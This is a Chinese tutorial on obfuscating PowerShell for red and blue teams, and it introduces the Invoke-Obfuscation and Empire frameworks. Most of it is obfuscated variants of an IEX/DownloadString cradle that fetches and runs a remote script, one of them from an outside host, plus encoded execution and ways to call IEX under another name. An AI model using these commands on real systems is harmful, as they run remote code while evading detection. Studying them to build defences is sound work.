# 混淆

> Powershell的混淆目前已经使用的越来越多，国内外也有了较多的研究，在今年的BH大会上也有对应的议题，关注点是反混淆，那么里面的一些姿势很值得我们学习，我们提供一些混淆实例，来让大家对于PS的混淆做到一个初步了解，也为防御混淆提供一些思路。

## 实例

在混淆之前，先看看powershell编码执行的方式。

`-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E` 那么这些参数都可以让代码编码执行，可见我们的混淆的选择是非常多的，而防御起来就越难。

我们在攻击时经常会远程下载代码脚本执行，这里基于这样的一条标准的下载文件命令来进行变形混淆。 `Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1/powershell")`

简单处理我们刚才的命令： `Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1/powershell")`

1. 去掉System关键字 `Invoke-Expression (New-Object Net.WebClient).DownloadString("http://127.0.0.1/powershell")`
2. 使用字符串连接+号连接 `Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://127.0.0.1/powershell")`
3. 使用Invoke方法 `Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://127.0.0.1/powershell') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://127.0.0.1/powershell')`
4. 变量替代 `IEX $test=New-Object Net.WebClient;$test.DownloadString('h'+'ttp://127.0.0.1/powershell')`
5. 关键字使用单双引号引起来 `Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://127.0.0.1/powershell')`
6. 转义符号 ``Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power')``
7. 字符串反转

   ```
   $re= ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
   IEX ($re[-1..-($re.Length)] -Join '') | IEX
   ```
8. 编码执行

   ```
   $command = "Write-Host ‘Hello World!’"
   $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
   $encodedCommand = [Convert]::ToBase64String($bytes) 
   powershell.exe -EncodedCommand $encodedCommand
   ```
9. IEX

   我们使用的代码很多都使用Invoke-Expression/IEX命令， Invoke-Expression/IEX命令是很常用的一个命令， 运行一个以字符串形式提供的PowerShell表达式。 这里也先看看代替IEX的各种执行方式

   1. `&(GAL I*X)` : 通过别名的方式来进行编码
   2. `Command I*e-E*` : 通过command的方式来进行编码
   3. `$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')`使用环境变量等等
   4. ...

## 工具

> 那么讲了这么多，其实只是给大家讲了一下有这种编码方式，对于蓝队来说需要更深入的掌握，当让red team需要掌握的就更多了，下面给大家介绍几款混淆和编码框架供大家学习。

### Invoke-Obfuscation

下载地址：<https://github.com/danielbohannon/Invoke-Obfuscation>

这个工具呢已经有dalao在freebuf上写过相关是使用方法---<http://www.freebuf.com/sectool/136328.html>

简单介绍一下这个框架就是我们的powershell混淆框架，首先是启动

```
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
```

启动之后是这样的：

![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/obfuscation/1.png)

之后输入你的代码，然后可以选择你需要的编码

![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/obfuscation/2.png)

我们来测试得到的结果：

![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/obfuscation/3.png)

还有更多的使用技巧可以查看工具的官方文档进行学习。

### Empire

Empire是一个类似于Metasploit的渗透工具，可以从他的宣传语: *Building an Empire with PowerShell* 看出Empire对于powershell的利用下了很大的功夫，集成了大量的攻击Payload可供选择，而且可以自己来选择编码，并且对不同的平台都能够支持，具体可以参看[官方文档](https://www.powershellempire.com/)，[Freebuf](http://www.freebuf.com/articles/web/76892.html)也有前人总结过一些用法。用法与MSF类似，这里就不过多介绍了。
